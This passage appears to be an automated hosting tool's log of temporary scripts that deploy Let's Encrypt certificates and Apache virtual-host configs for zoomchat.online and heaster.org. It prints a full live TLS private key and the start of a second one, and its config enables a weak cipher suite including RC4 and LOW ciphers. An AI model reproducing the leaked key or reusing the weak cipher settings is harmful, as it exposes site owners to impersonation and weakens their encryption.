0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-22 12:29:53:
chmod 755 /tmp/pkp274210; /tmp/pkp274210; rm /tmp/pkp274210
2025-10-22 12:29:53:
dir=/etc/pki/tls/certs/
2025-10-22 12:29:54:
PUT: /tmp/pkp935279
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:29:54:
chmod 755 /tmp/pkp935279; /tmp/pkp935279; rm /tmp/pkp935279
2025-10-22 12:29:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1809
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 12:29:54:
PUT: /tmp/pkp618896
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi
2025-10-22 12:29:55:
chmod 755 /tmp/pkp618896; /tmp/pkp618896; rm /tmp/pkp618896
2025-10-22 12:29:55:
2025-10-22 12:29:55:
PUT: /tmp/pkp410158
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-22 12:29:56:
chmod 755 /tmp/pkp410158; /tmp/pkp410158; rm /tmp/pkp410158
2025-10-22 12:29:56:
.
2025-10-22 12:29:56: Establishing a connection
2025-10-22 12:29:57:
PUT: /tmp/pkp115219
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-22 12:29:58:
chmod 755 /tmp/pkp115219; /tmp/pkp115219; rm /tmp/pkp115219
2025-10-22 12:29:59:
[Wed Oct 22 12:29:58.966475 2025] [so:warn] [pid 353076:tid 140142570838336] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:27)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Wed Oct 22 12:29:58.966475 2025] [so:warn] [pid 353076:tid 140142570838336] AH01574: module status_module is already loaded, skipping
2025-10-22 12:29:59:
PUT: /tmp/pkp859890
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:29:59:
chmod 755 /tmp/pkp859890; /tmp/pkp859890; rm /tmp/pkp859890
2025-10-22 12:29:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1809
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 12:29:59:
PUT: /tmp/pkp685087
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:30:00:
chmod 755 /tmp/pkp685087; /tmp/pkp685087; rm /tmp/pkp685087
2025-10-22 12:30:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt 5381
88:ae:58:fd:81:7f:fa:68:5c:91:f2:c0:58:4c:c2:eb
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBmA2Wyxj6M8RFeVWySr6EJmaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIyMTEzMTE2WhcNMjYwMTIwMTEzMTE1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC+q5gDk71L9JuIeLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9R
F91YWxls8aq2IvlcUKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GX
fwuyV6En4K5WNiFEppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPH
QxQ3+AQGQykIHt8PjqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9b
tXRLV4or+pwdnahqadar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrN
xZ0c94o2VnXEgmHV7gVClQm5AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNDY7OaFbCEzdu0Qe1KBT//Rp9QmMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjcuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHF
TiEAAAGaC+WVowAABAMARjBEAiA0el1Raa6a+LhZRxV4I7oeu8alJ8DstylL4ZWP
zi72twIgV02g+vnTTdZspMw8IkgrcLyTP2Re83oRbWcD7S51E64AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZoL5Z1tAAAEAwBHMEUCIAw0ARVK
cJuNJ7BXpD+0VfZsmxZiQ/j8sWVMqrHtl8pLAiEApqsdO9iB3VlJxZT0AQ1tpZYG
LuthvxrbygwhUu0vyVwwDQYJKoZIhvcNAQELBQADggEBAFvlys3axHqnx4nl71BL
wwZfc2XLaZNJprIyOEeth10lXQZzYUq6vVa5bkpblPlJ9quzvH5FP68fwkcnWZz2
a7DEEgU6btTphwIXlolq8MYHQjxW2r65/iP310RRkv9+zLChE11pnary9aXUZ+qk
GtY67c1PTcyeWpSJxFpPloUgMqEdR5qhfCnNX9hA3ush+5olW+HwME/xX4n47jgQ
+IC7Dnzaecp+iKXU5B/fBojCRH5cpKwciYIeEOw8mMDaXWqIeUllA0YlDKCnE66u
pNjjjnuw12pRcY/QD8MfKcb3iT2NkCyLTRwZAchxjcg0gknVRFyyxspu+afxAW2n
Qvg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC+q5gDk71L9JuI
eLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9RF91YWxls8aq2Ivlc
UKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GXfwuyV6En4K5WNiFE
ppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPHQxQ3+AQGQykIHt8P
jqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9btXRLV4or+pwdnahq
adar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrNxZ0c94o2VnXEgmHV
7gVClQm5AgMBAAECggEBAJU8+d7S5HdvHc3TsO6TTBqIian4wjY8skxz8kwlVn8c
XtMHyTN01Y0gjN//HI38f+OIan47KcMl3MfE1WxG9rhpU1U6mKIlrCBPutnrfKED
qvv7E3/UJnYeKqqw1dIePql4rUrpMYuJEsEJJGDi90MDV5zLBniErpvtA6O+5jLV
QLVWp3bT6n4yb9ZnSe8vd8O/hQfjecJ4VLFgw0lgaOfxezlFF1gOcYNYH7/FL8TQ
zjEfyufbvprYu/fvexeZZ54tiW97+ffiHExggi4M5kPGABiYmkG6QprneboIG/+3
voUdv6i2kzJhbTknPvyqt/GuTiFgCDSTr6hlYhSwNgECgYEA3xOP+gs9oUo04e7l
t3/eRmisbEKLlV5NCkV8SF+VGDdaEcSrNjfSI9pZpSEqJMGCQA4/4B4YHAoUPhY4
oBAFrNwQ1YE3RcpVoLxzQ+5+X2FE4aBysOK9ltPVKKse4o5qDcc2+BpeBAU2mInl
OKfB3IktRDJobq2t/jD0UtURuEUCgYEA2s+jorLx6xhts0KizsqzV4kSDot1xZ61
xJxzLgZyBPxL+kkMFrkILeUoW07Qfd3BeVbY+/mg7WX9N/CSMWgC08YMN6LpI5nj
ekWx1E3w6/6Z2JvKpo9I025gTk4E7HEsLLB/sUcoP4cWRQReF/KzzJKkGyMpEa+u
/4gf0CljpOUCgYEAtmrw2bBHfZWJGRiakSvnP/xowz7HliW/Kh8YOrau3VamONFy
kKulE9yCYh50sAnt0SPV6Bez73nug7b4Jyvy+CAdQ/qekFudGgwA1hQ5ExYflcH3
B97i2mvva4pDf1CmOQ4nTUuChhcdRi+9Wk8UoJssgRAXhipQlgTCRtol22ECgYEA
1ReB9ODwWFPiAcHTbDBbl9QVkbSfbWWy/1adlSURxWkvVP/ulfJ81LVnKAUJZoqf
8NtzVXE2F/xLLj9LIHJ6zmMBYu10vwcPUfStymRdTHcWvKx8HtlLwxyrDZdNlDZj
HuKEeNEjkTqtpWkreYcTMxdcWlFTnbXKZ3DaCo9ES0ECgYEA1J9iAzeuvAZpB82/
1V2A1C4GwJkBsqHNv1dwUwt5xm4W+0LR6YVTBv6LuWDNWfI0O2UaYlpve6eR+jUp
ZXMSJ8lJOehdm4PrkJhCWtPeZiNQcau88jEJorxUFlX8WkB1UbibN6DGft3nHpPb
4/HQ6Lba/PEA+jmjB+KoSfsHlP4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-23 06:00:03: Establishing a connection
2025-10-23 06:00:05: Establishing a connection
2025-10-23 06:00:06:
PUT: /tmp/pkp380919
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-23 06:00:07:
chmod 755 /tmp/pkp380919; /tmp/pkp380919; rm /tmp/pkp380919
2025-10-23 06:00:07:
0
2025-10-24 06:00:02: Establishing a connection
2025-10-24 06:00:02: Establishing a connection
2025-10-24 06:00:03:
PUT: /tmp/pkp884537
#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:00:08:
chmod 755 /tmp/pkp884537; /tmp/pkp884537; rm /tmp/pkp884537
2025-10-24 06:00:08:
1
2025-10-24 06:00:09: Establishing a connection
2025-10-24 06:00:09:
PUT: /tmp/pkp934279
#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI
cat > 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E
2025-10-24 06:00:09:
chmod 755 /tmp/pkp934279; /tmp/pkp934279; rm /tmp/pkp934279
2025-10-24 06:00:10:
2025-10-24 06:00:20: Establishing a connection
2025-10-24 06:00:20:
PUT: /tmp/pkp951548
#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI
rm 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E
2025-10-24 06:00:20:
chmod 755 /tmp/pkp951548; /tmp/pkp951548; rm /tmp/pkp951548
2025-10-24 06:00:20:
2025-10-24 06:00:20: Establishing a connection
2025-10-24 06:00:20:
PUT: /tmp/pkp874666
#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt
cat > $temp_file <<'endmsg'
2e:39:18:ed:3d:28:dd:3e:a0:e3:85:b5:3f:6e:4e:54
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBaK2vAnSQ0sQ/vfxktNOV4R2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMTQ5WhcNMjYwMTIyMDUwMTQ4WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANIP
99y6YtSnN/cy9oKAPC25VOg1ct5ffADUQHk2HgMTsYCDEyybCwh2k/FBeAuL7+08
CnB3apQQdP9OkrgbrzIndAbi+yHlsc0rcJydwVbMWBhA/h1gpWMRhxyavP1qH3no
FGkQszVa1cRZiWY95wY0G8iMeSlflFnkIBAh8rLkVhaJGZ0vDZZcIABLIjN3Iwlp
xBbToCzYhus+lXcdOtEK4MenTQoGb9pr3rDv7CuZP8eojlDWfJZ+6w0a7GzNFG9I
TLPbZZs/sXNtcOMYvjUFpQN5ejThluvHB90LRuF+XJmujf/REVSG/lYkwCxd0O0x
TfpuaYQ1m20JQii4byMCAwEAAaOCAi0wggIpMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUY3dr1byUVgPhP1D3AyhJ2AgJWoYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTE5LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTNwGcA
AAQDAEcwRQIhALfK00TaHH0u8KcuP5pNYuA7DOS1QN/RBvtcOnM5yqnzAiAayPqM
G9mt6x8JPsO6cS970dZkLogJPqDhu3zGxdQqHgB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmhTNwFYAAAQDAEcwRQIhAK9HjnKY1r+CFPdbkqzw
C8wpP1QAv+ODJ3lv2mfiHY6gAiAuss1V/PSuv3Yqp0zfoHRoRbTBottfCGOHXwAy
aFL54DANBgkqhkiG9w0BAQsFAAOCAQEAjkGRdpdyJIGS99oo/THG+8lFDJhq47Ua
k0Q1tyGAfoOkR1w6wXIAMVqYmnalTMDAaBOhPQtl9j8FEkPa494u94Jj7vt685z3
tqCLPhbW37pbz/LvgY9TaHH5y+ef2z7EhzndBfQWcYQT6gVV8TT21N/gMdY3z974
hENme/46Caeeb7wccBgeF/bf0sYkqRlKrRhC0oXnstQVY5vUQbwRsG0fBmHXCY8E
cx/vF918m/FU2LpwKK8VAqO6d1wXVDXuQz4sJ9+Mmvny4S9FBkfZWORSTL/YO5fJ
xaMoMEPHE9IoxfrpOy/LMlcE+RYkaQWehH8H046ptH+el3Ik1prO1g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDSD/fcumLUpzf3
